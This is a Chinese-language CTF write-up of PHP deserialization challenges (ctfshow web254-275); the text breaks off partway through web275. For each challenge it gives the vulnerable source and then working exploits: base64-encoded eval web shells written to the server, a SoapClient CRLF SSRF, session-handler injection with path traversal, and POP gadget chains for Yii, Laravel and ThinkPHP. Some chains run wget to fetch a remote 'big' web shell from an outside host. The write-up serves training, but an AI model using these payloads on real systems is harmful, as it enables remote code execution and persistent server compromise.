web254
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
if($this->username===$u&&$this->password===$p){
$this->isVip=true;
}
return $this->isVip;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = new ctfShowUser();
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
要求 username 和 password 都为 xxxxxx,根据提示构造 payload。
payload: ?username=xxxxxx&password=xxxxxx
web255
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
echo "your flag is ".$flag;
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
要求 cookie 中 user 值为一个序列化的 ctfshowUser 对象,属性 isVip 值为 true,username 和 password 和 GET 参数获取的一致。
$user = new ctfShowUser();
$user->isVip = true;
var_dump(serialize($user));
//string(95) "O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}"
url: /?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web256
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public function checkVip(){
return $this->isVip;
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function vipOneKeyGetFlag(){
if($this->isVip){
global $flag;
if($this->username!==$this->password){
echo "your flag is ".$flag;
}
}else{
echo "no vip, no flag";
}
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
if($user->login($username,$password)){
if($user->checkVip()){
$user->vipOneKeyGetFlag();
}
}else{
echo "no vip,no flag";
}
}
相比上题新增了 username !== password
的要求,按要求构造即可。
$user = new ctfShowUser();
$user->isVip = true;
$user->username = "china";
$user->password = "123456";
var_dump(serialize($user));
//string(94) "O:11:"ctfShowUser":3:{s:8:"username";s:5:"china";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}"
url: /?password=123456&username=china
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22china%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web257
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
$user = unserialize($_COOKIE['user']);
$user->login($username,$password);
}
用 backDoor
代替 info
,然后正常构造即可。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';
public function __construct(){
$this->class= new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pID8+'));";
public function getInfo(){
eval($this->code);
}
}
$u = new ctfShowUser();
var_dump(urlencode(serialize($u)));
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pID8%2B%27%29%29%3B%22%3B%7D%7D
web258
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code;
public function getInfo(){
eval($this->code);
}
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
$user = unserialize($_COOKIE['user']);
}
$user->login($username,$password);
}
增加了正则过滤,这里可以利用 unserialize
函数的一个特性绕过。
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-02 17:44:47
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code="file_put_contents('sh.php', base64_decode('PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=='));";
public function getInfo(){
eval($this->code);
}
}
$u = new ctfShowUser();
// 在数字前面加上 `+` 即可,这里正则替换一下。
var_dump(urlencode(preg_replace("/([oc]):(\d+:)/i", "$1:+$2", serialize($u))));
url: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A79%3A%22file_put_contents%28%27sh.php%27%2C+base64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOw%3D%3D%27%29%29%3B%22%3B%7D%7D
蚁剑连接 sh.php
查看 flag。
web259
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
考点是利用 SoapClient
类反序列化 + CRLF
实现 SSRF
,构造请求访问 flag.php
得到 flag。
反序列化后的 SoapClient
对象在调用不存在的方法时会调用 __call
,在 user_agent
中插入 CRLF
也就是 \r\n
控制 header
和 body
构造想要的请求。
<?php
$target = "http://127.0.0.1/flag.php";
$post = "token=ctfshow";
$a = new SoapClient(null, array(
"location" => $target,
"user_agent" => "aaa\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".(string)strlen($post)."\r\n\r\n".$post,
"uri" => "aaaa"
));
var_dump(urlencode(serialize($a)));
访问 flag.txt
得到 flag。
web260
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
echo $flag;
}
需要传入的字符串序列化后满足正则 /ctfshow_i_love_36D/
,直接传这个就行。
payload: ?ctfshow=ctfshow_i_love_36D
web261
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
PHP 文档中提到
注意:
如果类中同时定义了 __unserialize() 和 __wakeup() 两个魔术方法,则只有 __unserialize() 方法会生效,__wakeup() 方法会被忽略。
注意:
此特性自 PHP 7.4.0 起可用。
查看 response header
可知 X-Powered-By: PHP/7.4.16
,那么 __wakeup
部分就不会被执行,与注释无异。__destruct
函数部分弱比较 $this->code==0x36d
,因为 $this->code = $this->username.$this->password;
,username
可控制,因为 (int)'877.php' == 0x36d
,故传 877.php
即可绕过。
<?php
class ctfshowvip{
public $username = "877.php";
public $password = "<?php @eval(\$_POST[2]);";
}
$a = new ctfshowvip();
var_dump(urlencode(serialize($a)));
payload: ?vip=O%3A10%3A%22ctfshowvip%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+%40eval%28%24_POST%5B2%5D%29%3B%22%3B%7D
web262
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
setcookie('msg',base64_encode($umsg));
echo 'Your message has been sent';
}
highlight_file(__FILE__);
提示还有 message.php
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_COOKIE['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
看似是反序列化字符串逃逸,实际上自己构造改 cookie
就可以。
<?php
class message{
public $token='admin';
}
$a = new message();
var_dump(base64_encode(serialize($a)));
cookie: msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9
web263
打开一个登录框,登录失败没啥信息,扫描器扫到备份 www.zip
,下载得到源码。
index.php 中:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 16:28:37
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-06 19:21:45
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
//超过5次禁止登陆
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>
可知我们可以通过修改 $COOKIE['limit']
来控制 session
的内容。
inc.php 中:
<?php
...
ini_set('session.serialize_handler', 'php');
session_start();
...
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}
...
使用 ini_set
指定了 serialize_handler
为 php
,如果默认的 serialize_handler
为 php_serialize
,就可以通过在序列化的字符串之前加 |
,反序列化任意对象。
- php_binary: 存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
- php: 存储方式是,键名+竖线+经过serialize()函数序列处理的值
- php_serialize(php>5.5.4): 存储方式是,经过serialize()函数序列化处理的值
注意:在
php 5.5.4
以前默认选择的是php
,5.5.4
之后就是php_serialize
,这里的php
版本为7.3.11
,那么默认就是php_serialize
。
那么思路就很清晰了,首先在 $COOKIE['limit']
中构造 |+序列化对象
的字符串,访问首页写入 session
,再通过 check.php
加载的 inc.php
中的 ini_set('session.serialize_handler', 'php');
将 session
以 session.serialize_handler=php
的格式反序列化,执行 User
类的 __destruct
方法写 shell
。
首先构造 payload
:
<?php
class User{
public $username = "test/../../../../../../../../../../var/www/html/c.php";
public $password = "<?php @eval(\$_POST[1]); ?>";
public $status;
}
$a = new User();
$target = '|'.serialize($a);
var_dump($target);
var_dump(urlencode(base64_encode($target)));
payload: fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1MzoidGVzdC8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92YXIvd3d3L2h0bWwvYy5waHAiO3M6ODoicGFzc3dvcmQiO3M6MjY6Ijw%2FcGhwIEBldmFsKCRfUE9TVFsxXSk7ID8%2BIjtzOjY6InN0YXR1cyI7Tjt9
更改 cookie
后访问 index.php
,session
的内容是这样的:
a:1:{s:5:"limit";s:156:"|O:4:"User":3:{s:8:"username";s:53:"test/../../../../../../../../../../var/www/html/b.php";s:8:"password";s:26:"<?php @eval($_POST[1]); ?>";s:6:"status";N;}
这是 session.serialize_handler=php_serialize
存储的结果,如果通过 session.serialize_handler=php
读取 session
,就会把前面的 a:1:{s:5:"limit";s:156:"
当作 key
,|
后面的部分作为序列化对象反序列化,就可以反序列化 User
类了。
web264
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 02:37:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
session_start();
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];
if(isset($f) && isset($m) && isset($t)){
$msg = new message($f,$m,$t);
$umsg = str_replace('fuck', 'loveU', serialize($msg));
$_SESSION['msg']=base64_encode($umsg);
echo 'Your message has been sent';
}
highlight_file(__FILE__);
注释中提示还有 message.php
:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-03 15:13:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
session_start();
highlight_file(__FILE__);
include('flag.php');
class message{
public $from;
public $msg;
public $to;
public $token='user';
public function __construct($f,$m,$t){
$this->from = $f;
$this->msg = $m;
$this->to = $t;
}
}
if(isset($_COOKIE['msg'])){
$msg = unserialize(base64_decode($_SESSION['msg']));
if($msg->token=='admin'){
echo $flag;
}
}
这次相比 web262
有了 session
的限制,就不能自己构造了,用起来反序列化字符串逃逸。fuck
-> loveU
增加了一个字符,要逃逸出来的字符串 ";s:5:"token";s:5:"admin";}
长度为 27,故构造 27 个 fuck
:
print("fuck"*27+"""";s:5:"token";s:5:"admin";}""")
payload: ?f=aaaa&m=aaaa&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
web265
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
public $token;
public $password;
public function __construct($t,$p){
$this->token=$t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());
if($ctfshow->login()){
echo $flag;
}
如果要靠输入的 $password
去和 md5(mt_rand())
碰撞,几乎是不可能的。这里需要用到 php
的引用,使得 $password = &$token;
,那么 $password === $token
就没问题了。
<?php
class ctfshowAdmin{
public $token;
public $password;
}
$c = new ctfshowAdmin();
$c->password = &$c->token;
var_dump(urlencode(serialize($c)));
payload: ?ctfshow=O%3A12%3A%22ctfshowAdmin%22%3A2%3A%7Bs%3A5%3A%22token%22%3BN%3Bs%3A8%3A%22password%22%3BR%3A2%3B%7D
web266
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-04 23:52:24
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
include('flag.php');
$cs = file_get_contents('php://input');
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function login(){
return $this->username===$this->password;
}
public function __toString(){
return $this->username;
}
public function __destruct(){
global $flag;
echo $flag;
}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
throw new Exception("Error $ctfshowo",1);
}
这里涉及到一个 php
常识:PHP大小写:函数名和类名不区分,变量名区分。
<?php
class ctfshow{
public $username='xxxxxx';
public $password='xxxxxx';
}
$c = new ctfshow();
$a = str_replace("ctfshow", "ctfsHow", serialize($c));
var_dump($a);
php://input
要用 bp。
payload: O:7:"ctfsHow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}
web267
一开始没思路,搜了一下知道是 Yii
框架的反序列化漏洞。
首先 admin/admin
弱密码登录,然后在 /index.php?r=site/about
可以看到注释里面有一个 ?view-source
,加上之后访问 /index.php?r=site%2Fabout&view-source
看到一个反序列化的点 backdoor/shell unserialize(base64_decode($_GET['code']))
,随便搜一个反序列化的 pop
链打一下。
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'shell_exec';
$this->id = 'cp /flag 3.txt';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction, 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
这里 system
不能用,用了 shell_exec
。
payload: /index.php?r=backdoor%2Fshell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6MTQ6ImNwIC9mbGFnIDMudHh0Ijt9aToxO3M6MzoicnVuIjt9fX19
访问 3.txt
得到 flag
。
web268
前面的流程和上一题差不多,不过这次不给用 BatchQueryResult
了,改用 RunProcess
类作为 pop
链入口。
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'passthru';
$this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php'; //传个大马
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters ;
public function __construct(){
$this->formatters['isRunning']=[new IndexAction(),'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes=[];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
web269
同理,换个链换个函数接着打,主要的内容还是要理解如何构造 pop
链,剩下的就是机械劳动了。
<?php
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Covers;
class Swift_KeyCache_DiskKeyCache{
private $path;
private $keys;
public function __construct()
{
$this->keys = array(
"V0W" =>array("is", "Ca1j1")
);
$this->path = new Covers();
}
}
$payload = new Swift_KeyCache_DiskKeyCache();
echo base64_encode(serialize($payload));
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Covers{
private $refers;
protected $description;
public function __construct()
{
$this->description = new Generator();
$this->refers = "AnyStringisOK";
}
}
}
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'exec';
$this->id = 'wget https://hoping-billy-vip-pair.trycloudflare.com/big.php';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['render'] = [new IndexAction, 'run'];
}
}
}
web270
学会构造 pop
链固然重要,但这里找到了好用的工具 PHPGGC
。
$ ./phpggc Yii2/RCE2 "passthru('wget https://hoping-billy-vip-pair.trycloudflare.com/big.php');" --base64
一键生成 payload
,有脚本小子内味了。
web271-273
不得不说这玩意真好用
$ ./phpggc Laravel/RCE6 "system('cat /flag');" --url
payload: data=O%3A29%3A%22Illuminate%5CSupport%5CMessageBag%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00messages%22%3Ba%3A0%3A%7B%7Ds%3A9%3A%22%00%2A%00format%22%3BO%3A40%3A%22Illuminate%5CBroadcasting%5CPendingBroadcast%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00events%22%3BO%3A25%3A%22Illuminate%5CBus%5CDispatcher%22%3A1%3A%7Bs%3A16%3A%22%00%2A%00queueResolver%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A25%3A%22Mockery%5CLoader%5CEvalLoader%22%3A0%3A%7B%7Di%3A1%3Bs%3A4%3A%22load%22%3B%7D%7Ds%3A8%3A%22%00%2A%00event%22%3BO%3A38%3A%22Illuminate%5CBroadcasting%5CBroadcastEvent%22%3A1%3A%7Bs%3A10%3A%22connection%22%3BO%3A32%3A%22Mockery%5CGenerator%5CMockDefinition%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00config%22%3BO%3A35%3A%22Mockery%5CGenerator%5CMockConfiguration%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00name%22%3Bs%3A7%3A%22abcdefg%22%3B%7Ds%3A7%3A%22%00%2A%00code%22%3Bs%3A35%3A%22%3C%3Fphp+system%28%27cat+%2Fflag%27%29%3B+exit%3B+%3F%3E%22%3B%7D%7D%7D%7D
web274
这里 phpggc
的不能用了,找了另外一个链打的,看来有空也要构建自己的武器库。
<?php
namespace think\process\pipes{
use think\model\Pivot;
class Windows{
private $files = [];
public function __construct()
{
$this->files[]=new Pivot();
}
}
}
namespace think{
abstract class Model{
private $data = [];
protected $append = [];
public function __construct()
{
$this->data=array(
'autumn'=>new Request()
);
$this->append=array(
'autumn'=>array(
'hello'=>'world'
)
);
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think{
class Request{
protected $hook = [];
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
protected $filter;
public function __construct()
{
$this->hook['visible']=[$this,'isAjax'];
$this->filter='system';
}
}
}
namespace {
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
}
payload: ?data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo2OiJhdXR1bW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6NTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBjb25maWciO2E6MTA6e3M6MTA6InZhcl9tZXRob2QiO3M6NzoiX21ldGhvZCI7czo4OiJ2YXJfYWpheCI7czowOiIiO3M6ODoidmFyX3BqYXgiO3M6NToiX3BqYXgiO3M6MTI6InZhcl9wYXRoaW5mbyI7czoxOiJzIjtzOjE0OiJwYXRoaW5mb19mZXRjaCI7YTozOntpOjA7czoxNDoiT1JJR19QQVRIX0lORk8iO2k6MTtzOjE4OiJSRURJUkVDVF9QQVRIX0lORk8iO2k6MjtzOjEyOiJSRURJUkVDVF9VUkwiO31zOjE0OiJkZWZhdWx0X2ZpbHRlciI7czowOiIiO3M6MTU6InVybF9kb21haW5fcm9vdCI7czowOiIiO3M6MTY6Imh0dHBzX2FnZW50X25hbWUiO3M6MDoiIjtzOjEzOiJodHRwX2FnZW50X2lwIjtzOjE0OiJIVFRQX1hfUkVBTF9JUCI7czoxNToidXJsX2h0bWxfc3VmZml4IjtzOjQ6Imh0bWwiO31zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBhcHBlbmQiO2E6MTp7czo2OiJhdXR1bW4iO2E6MTp7czo1OiJoZWxsbyI7czo1OiJ3b3JsZCI7fX19fX0=&autumn=cat /flag
web275
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-12-08 19:13:36
# @Last Modified by: h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
highlight_file(__FILE__);
class filter{
public $filename;
public $filecontent;
public $evilfile=false;
public function __construct($f,$fn){
$this->filename=$f;
$this->filecontent=$fn;
}
public function checkevil(){
if(preg_match('/php|\.\./i', $this->filename)){
$this->evilfile=true;
}
if(preg_match('/flag/i', $this->filecontent)){
$this->evilfile=true;
}
return $this->evilfile;
}
public function __destruct(){
if($this->evilfile){
system('rm '.$this->filename);
}
}
}
if(isset($_GET['fn'])){
$content = file_get_contents('php://input');
$f = new filter($_GET['fn'],$content);
if($f->checkevil()===false){
file_put_contents($_GET['fn'], $content);
copy($_GET['fn'],md5(mt_rand()).'.txt');
